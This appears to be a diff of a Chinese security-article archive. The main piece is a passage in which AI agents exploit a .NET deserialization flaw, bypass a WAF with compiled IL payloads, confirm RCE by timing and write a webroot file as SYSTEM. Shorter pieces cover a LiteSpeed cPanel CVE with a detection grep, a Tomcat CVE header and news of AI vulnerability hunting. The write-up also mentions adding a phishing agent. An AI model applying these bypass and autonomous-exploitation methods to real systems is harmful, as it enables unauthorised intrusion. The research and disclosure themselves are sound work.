keep-all;text-align: left;"><section><span leaf="">406 拦截</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">ActivitySurrogateSelectorFromFile</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">否</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">200 通过</span></strong></td></tr></tbody></table>
|
||||
|
||||
**WAF 绕过。**ActivitySurrogateSelectorFromFile
|
||||
的工作原理与标准 gadget chain 不同：
|
||||
1. 1. 攻击者编写自定义 C# 类（如 ExploitClass.cs
|
||||
）
|
||||
|
||||
1. 2. ysoserial.net 在本地编译该类，将 IL 字节码嵌入序列化数据
|
||||
|
||||
1. 3. 服务端反序列化时通过 ActivitySurrogateSelector
|
||||
机制加载并实例化该类
|
||||
|
||||
1. 4. 自定义类的构造函数被执行
|
||||
|
||||
序列化数据中不包含 System.Diagnostics.Process
|
||||
字符串——自定义代码以 IL 字节码形式存在，WAF 的字符串匹配规则无法检测。
|
||||
|
||||
**时间盲注确认 RCE。**
|
||||
编写验证用的 Exploit Class：
|
||||
```
|
||||
public class ExploitClass{ public ExploitClass() { Thread.Sleep(5000); }}
|
||||
```
|
||||
|
||||
生成 payload 并发送：
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">测试</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">端点</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">响应时间</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">基线</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">延迟 (Δ)</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Sleep(5000)</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">DevReport</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">5151ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">~150ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">+5001ms</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Sleep(5000)</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">InOutData</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">5147ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">~150ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">+4997ms</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Sleep(8000)</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">DevReport</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">8607ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">~150ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">+8457ms</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Sleep(8000)</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">InOutData</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">8259ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">~150ms</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">+8109ms</span></section></td></tr></tbody></table>
|
||||
|
||||
延迟量精确跟随 Thread.Sleep()
|
||||
参数变化，排除网络抖动。
|
||||
|
||||
**文件写入确认。**
|
||||
最终通过 File.WriteAllText
|
||||
向 webroot 写入验证文件，HTTP 访问确认内容正确。服务器环境：Windows Server 2022、.NET Framework 4.8、以 SYSTEM 权限运行。
|
||||
### 复盘
|
||||
|
||||
三轮 DeepSeek agent 的工具调用统计：
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">工具</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">Scan Agent</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">Verify Agent</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">Exploit Agent</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">总计</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">bash (curl/scan)</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">15</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">18</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">7</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">40</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">web_search</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">7</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">4</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">5</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">16</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">web_fetch</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">0</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">7</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">4</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">11</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">cyberhub_search</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">1</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">4</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">0</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">5</span></section></td></tr></tbody></table>
|
||||
|
||||
几个值得记录的观察。
|
||||
|
||||
从侦察到确认反序列化入口，DeepSeek agent 用了大约20分钟和72次工具调用。整个过程中 agent 的信息来源只有三个：**搜索引擎、目标的 HTTP 响应、和公开的 POC 仓库**
|
||||
。它从公开技术文章中自主学到了关键路由参数，又通过调整 format
|
||||
值发现了二进制序列化的配置泄露。这条从公开情报到漏洞确认的推理链是 agent 自己构建的。
|
||||
|
||||
模型切换的时机值得讨论。DeepSeek 在信息收集和模式匹配上表现够用，成本也低。但到了需要构造精确 payload、分析二进制数据、设计 WAF 绕过方案的阶段，我们切换到了 Claude Opus 4.6。这种分层策略在实践中是有效的：用便宜模型做探索，在需要深度推理时升级。
|
||||
|
||||
IOA 的消息图在模型切换时体现了价值。Opus 4.6 接手时不需要从零开始理解目标——**前三轮 agent 的搜索结果、HTTP 请求和响应、成功和失败的尝试全部记录在 Space 中**
|
||||
。这让切换成本接近于零。
|
||||
## 新的架构形态---从端侧agent重新出发
|
||||
> 本文不是正式工具发布， 是新架构的预告，介绍了几个核心设计。 预计6月初发布全新的智能化渗透工具 aiscan。主打
|
||||
极简、高效、实战化
|
||||
|
||||
|
||||
|
||||
回到 Phase 1：agent 从公开漏洞情报中自主定位到攻击面，用 curl 逐路径探测确认了活跃端点，最终推动了整条漏洞发现链。
|
||||
|
||||
没有人写好工作流告诉它该搜什么、该探测哪些路径。一个没有框架、没有 MCP server、没有外部编排的单文件二进制，是怎么做到的？
|
||||
### 框架是笼子
|
||||
|
||||
前文提到，**大部分队伍的设计都逃不出框架的范畴**
|
||||
。
|
||||
|
||||
框架的本质问题是：它在模型和工具之间插入了一个编排层——本质上都是在处理 "调哪个工具、什么顺序、什么条件分支"。但这些决策恰恰是模型最擅长的事。各种框架使用各种或简单或复杂的机制（知识管理机制、工具调用机制、推理机制、校验机制、Harness机制等等），但**一到了real world 就水土不服**
|
||||
。
|
||||
|
||||
**框架在代替模型思考，而不是帮助模型思考。**
|
||||
|
||||
当编排层的假设对新场景失效时（它们总会失效 ），框架就从助力变成了笼子。
|
||||
### 端侧 agent
|
||||
|
||||
aiscan 的回答是：不做框架，做**端侧 agent**
|
||||
。受 pi-mono 的启发，整个 agent 只有 bash
|
||||
、read
|
||||
、write
|
||||
、glob
|
||||
四个基础工具，没有编排层，所有决策由模型在运行时做出。
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf=""><br/></span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">框架思维</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">端侧思维</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">决策者</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">编排层（代码写死）</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">模型（运行时推理）</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">工具接口</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">专用 API / MCP</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">bash 伪命令</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">工具文档</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">全量注入 system prompt</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">按需读取 SKILL</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">扩展方式</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">加概念、加节点、加状态</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">不变，组合涌现</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">训练复用</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">模型需学习新协议</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">免费复用 CLI 训练数据</span></section></td></tr></tbody></table>
|
||||
### 为什么是 4 个而不是 40 个
|
||||
|
||||
给模型注册越多的工具，它花在"选哪个工具"上的推理预算就越多，留给"解决实际问题"的就越少。
|
||||
|
||||
工具爆炸不是在增强 agent，而是在消耗它的注意力。
|
||||
|
||||
4 个通用工具把认知负担压到最低——模型不需要在 20 个专用工具之间做选择，只需要想"下一步该执行什么命令"。
|
||||
### SKILL：使用手册而非SOP
|
||||
|
||||
SKILL在大部分人的思维惯性中， 将其当作一种SOP， 例如XSS Skill 就是描述XSS从头到尾怎么测试如何绕过。 我们在之前的文章中论证过， 也**通过比赛实际成绩确认了这样的SKILL用法对agent来说是负优化， 严重损害了Agent原本的泛化能力**
|
||||
。
|
||||
|
||||
而在aiscan中， **SKILL不是SOP， 而是作为一种渐进文档发现的机制**
|
||||
， aiscan集成了一些常用的扫描器， 但是不能一次性将工具的用法注入上下文， SKILL就是一种优雅的工具文档渐进发现机制。
|
||||
## IOA: 用通讯代替记忆
|
||||
|
||||
Phase 4 中 Opus 4.6 接手时，它没有参与前三轮的任何工作，但立刻就能看到 DeepSeek agent 搜索了什么、请求了哪些端点、哪些尝试成功了哪些失败了。
|
||||
|
||||
传统多 agent 系统要做到这一点，需要上下文传递、状态同步、交接协议。IOA 不需要这些。要理解 IOA 的设计，得先回到一个 50 年前的理论。
|
||||
### Actor 模型：一个老问题的老答案
|
||||
|
||||
1973 年，Carl Hewitt 提出了 Actor 模型。核心思想极其简单：**参与者之间没有共享状态，所有交互通过异步消息传递完成**
|
||||
。
|
||||
|
||||
这个理论在当时过于超前。直到 1986 年，Ericsson 的 Joe Armstrong 用它设计了 Erlang，让电信交换机在不停机的情况下处理数百万并发呼叫——靠的就是"进程之间绝不共享内存，只通过消息通讯"。后来 Akka 把同样的理念带进了 JVM 生态，支撑起大规模分布式服务，直到golang将其彻底发扬光大。
|
||||
|
||||
这些系统解决的问题，和今天多 agent 协作面临的问题惊人地相似：多个独立的执行单元，需要协调，需要容错，需要在其中一个崩溃时不影响其他人。
|
||||
### 从 Actor 到 Agent
|
||||
|
||||
主流的多 agent 框架选择了另一条路：基于文件共享上下文。所有 agent 读写同一块工作空间保证一致性。
|
||||
|
||||
IOA 认为这条路并非唯一。**用通讯代替共享内存**
|
||||
——每个 Agent 或 Human 都是一个 Node（Actor），向 Space 写入不可变消息。没有共享内存需要加锁，没有状态需要同步。
|
||||
|
||||
消息不可变意味着任何参与者都可以"回溯"到协作历史的任意节点——这就是为什么模型切换的成本是零。**新模型不需要"交接简报"，读消息日志就够了**
|
||||
。
|
||||
|
||||
<table><thead><tr><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf=""><br/></span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">黑板 / 共享内存</span></section></th><th align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;background: rgba(0, 0, 0, 0.05);text-align: left;"><section><span leaf="">IOA / Actor 通讯</span></section></th></tr></thead><tbody><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">状态管理</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">共享可变状态，需要加锁和共识</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">无共享状态，只有不可变消息</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">基础原语</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Task（有限状态机）</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Message（不可约原语）</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">状态表达</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">预定义枚举（pending/complete）</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">消息语义（无限状态空间）</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">参与者</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">角色不对等（人类审批/AI执行）</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">Node 等价（不区分碳基硅基）</span></section></td></tr><tr><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><strong style="color: #FA5151;font-weight: bold;font-size: inherit;"><span leaf="">上下文恢复</span></strong></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">需要交接协议</span></section></td><td align="left" style="border: 1px solid #dfdfdf;padding: 0.25em 0.5em;color: #3f3f3f;word-break: keep-all;text-align: left;"><section><span leaf="">读取消息图即可</span></section></td></tr></tbody></table>
|
||||
### Internet of Agent ---AI时代的语义协作网络
|
||||
|
||||
协议不预定义任何状态枚举。传统协议用 pending/running/complete
|
||||
这样的有限状态机来描述任务生命周期——本质上是在设计时赌自己能穷举所有可能的状态。这个赌注必输。
|
||||
|
||||
IOA 让状态存在于消息内容的自然语义中。状态空间随模型的理解能力而扩展，而不是被协议设计者的想象力所限制。
|
||||
|
||||
Agent 和 Human 在协议层没有区别，都是 Node。
|
||||
|
||||
本案中的 Scan Agent、Verify Agent、Exploit Agent 就是这个设计的体现， 这些角色是根据上下文语义决定的， 而非我们预制的。我们没有在协议中预定义"侦察"、"验证"、"利用"三种角色——**IoA 的 Node 没有角色字段**
|
||||
。
|
||||
|
||||
三个 agent 收到的只是自然语言描述的任务，它们呈现出的职责分工，是**语义涌现**
|
||||
的结果，不是系统硬编码的。如果明天需要加一个"社工钓鱼 agent"，不需要改协议、加角色枚举、写适配代码——只需要往 Space 里发一条消息。
|
||||
## 结语
|
||||
|
||||
本文涉及的漏洞已通过正规渠道报告厂商，文中对目标产品做了完全脱敏处理。
|
||||
|
||||
我们将在aiscan的正式发布的时候详细的介绍这些机制和实现。
|
||||
|
||||
[#AI]()
|
||||
[#红队]()
|
||||
[#智能化渗透]()
|
||||
[#Agent]()
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
# Apache Tomcat Tribes EncryptInterceptor 加密绕过反序列化漏洞分析（CVE-2026-34486）
|
||||
原创 ap0s
|
||||
ap0s ap0s 2026-05-12 09:16
|
||||
d2550自留地 2026-05-25 01:37
|
||||
|
||||
## Apache Tomcat Tribes EncryptInterceptor 加密绕过反序列化漏洞分析（CVE-2026-34486）
|
||||
### 简介
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# LiteSpeed cPanel 插件漏洞 CVE-2026-48172 遭利用，可获取 root 权限执行脚本
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-05-25 00:51
|
||||
|
||||
LiteSpeed 用户端 cPanel 插件出现高危漏洞，目前已遭野外实际攻击利用。
|
||||
|
||||
该漏洞编号 CVE-2026-48172，CVSS 风险评分满分 10.0，根源为权限分配错误。攻击者可借此漏洞提权，执行任意脚本。
|
||||
|
||||
LiteSpeed 官方表示：任意 cPanel 用户账号（含入侵账号、被盗账号）均可调用 lsws.redisAble 函数，以最高管理员 root 权限运行恶意脚本。
|
||||
|
||||
漏洞影响 2.3 至 2.4.4 所有插件版本，WHM 插件不受波及，2.4.5 版本已修复该问题。该漏洞由安全研究员戴维・斯特赖德姆发现并上报。
|
||||
|
||||
官方证实漏洞正被活跃利用，未披露更多攻击细节，同时给出入侵排查指令：
|
||||
|
||||
plaintext
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
grep -rE "cpanel_jsonapi_func=redisAble" /var/cpanel/logs /usr/local/cpanel/logs/ 2>/dev/null
|
||||
|
||||
```
|
||||
|
||||
执行后无返回结果则服务器未中招；若有输出，需核查关联 IP 合法性，封禁可疑地址。
|
||||
|
||||
漏洞曝光后，厂商完成两款插件安全审计，修复多处潜在攻击入口，同步发布 cPanel 插件 2.4.7 版本、WHM 插件 5.3.1.0 版本。
|
||||
|
||||
建议用户升级至 WHM 插件 5.3.1.0（内置 cPanel 插件 2.4.7 及以上）完成漏洞修复。暂无法升级可执行命令卸载用户端插件：
|
||||
|
||||
/usr/local/lsws/admin/misc/lscmctl cpanelplugin --uninstall
|
||||
|
||||
数周前另一高危 cPanel 漏洞 CVE-2026-41940（CVSS9.8 分）也遭黑客大肆利用，被用于投放米拉僵尸网络与 Sorry 勒索病毒。
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# Mythos挖出上万漏洞，AI正在把网络安全“核爆”提前
|
||||
原创 老林
|
||||
老林 安小圈 2026-05-25 03:09
|
||||
|
||||
开篇——神话降临，是福还是祸？
|
||||
|
||||
|
||||
2026年4月，一个名为“Claude Mythos Preview”的AI模型，悄悄从Anthropic的实验室里诞生了。刚一露面，就牵动了整个网络安全行业敏感的神经。
|
||||
|
||||
|
||||
|
||||
|
||||
它到底有多猛？Mozilla用它给Firefox做安全审计，一个浏览器就揪出了423个漏洞，其中有271个是它自己独立发现的。
|
||||
|
||||
|
||||
|
||||
|
||||
更重要的是，这款模型不只是纸上谈兵，在181次完整的漏洞利用测试中，它全部成功，其中有29次甚至实现了寄存器的完全控制。相比之下，它的前代模型Opus 4.6在同样的测试下，仅仅成功了2次。
|
||||
|
||||
|
||||
第一部分——疯狂的数字：30天，上万漏洞
|
||||
|
||||
|
||||
如果说公开测试只是“小试牛刀”，那么接下来的“大扫除”就让所有人都慌了神。
|
||||
|
||||
在为期30天的封闭测试中，Anthropic联合了全球约50家科技巨头，秘密
|
||||
启动了Project Glasswing计划。
|
||||
|
||||
|
||||
|
||||
用Mythos对超过1000个开源项目进行了一次彻底的“地毯式”扫描，一口气挖出了23,019个漏洞，其中有6,202个被标记为高危或严重级别。这个效率大概是顶级安全研究团队的100倍，成本却可能只有万分之一。
|
||||
|
||||
|
||||
|
||||
|
||||
这些漏洞覆盖了市面上所有主流的操作系统和浏览器，甚至包括一些在OpenBSD内核中潜伏了长达27年的漏洞，以及FFmpeg中一个存在了16年的严重漏洞。消息一出，美国财政部长和美联储主席紧急召集华尔街巨头开会，英国央行也同步拉响了警报。
|
||||
|
||||
|
||||
第二部分——A面是守护神，B面是毁灭者
|
||||
|
||||
|
||||
Mythos不仅能发现漏洞，还能自主编写攻击程序，甚至能将多个低危漏洞串联成攻击链。它就像一把绝世好剑，能成为守护者手中无坚不摧的“火眼金睛”，也可能成为攻击者手里最危险的武器。这把“双刃剑”的锋利程度让Anthropic自己都感到害怕，以至于他们做了一个前所未有的决定——不向公众开放，只提供给少数核心伙伴用于防御。
|
||||
|
||||
|
||||
第三部分——价值崩塌：百亿市值一夜蒸发
|
||||
|
||||
|
||||
资本市场最先感受到了恐惧。当Mythos的消息传出，投资者意识到一种基于已知攻击特征的模式可能正在被颠覆，整个网络安全板块集体“跳水”。Fortuna、CNBC等主流财经媒体报道称，自2026年初以来，CRWD等公司的股价便持续承压，年内跌幅一度达到约16%。
|
||||
|
||||
|
||||
当AI能以机器速度自主挖掘漏洞时，单纯卖“病毒特征库”的时代，可能真的要过去了。
|
||||
|
||||
|
||||
第四部分——游戏规则改写：旧地图失效
|
||||
|
||||
|
||||
Mythos的出现，彻底撕下了软件安全的最后一块遮羞布。曾经的“零日漏洞”，因其稀缺性被攻击者视为“战略资源”。如今在AI的扫描下，漏洞从“稀缺品”变成了“快消品”，当发现漏洞的成本接近于零时，整个行业多年建立起来的防御节奏和价值体系可能都会被颠覆。
|
||||
|
||||
|
||||
对全球的安全团队来说，压力的爆发才刚刚开始。当AI发现漏洞的速度远超人工修复的速度时，这个行业的运行逻辑可能已经从根本上被推翻了。
|
||||
|
||||
|
||||
